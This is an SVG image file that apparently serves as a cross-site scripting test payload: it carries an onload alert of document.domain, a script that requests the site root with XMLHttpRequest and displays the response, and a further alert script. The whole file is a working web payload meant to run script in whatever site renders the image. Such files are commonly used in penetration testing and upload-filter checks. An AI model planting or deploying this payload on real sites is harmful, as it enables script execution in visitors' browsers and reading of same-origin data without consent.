<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">



   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   
<script>
x=new XMLHttpRequest
x.open('get','/')
x.send()
x.onreadystatechange=function(){
  if(x.readyState==4){
    alert(x.response)
  }
}
</script>


<script type="text/javascript">
      alert(XSS);
   </script>


</svg>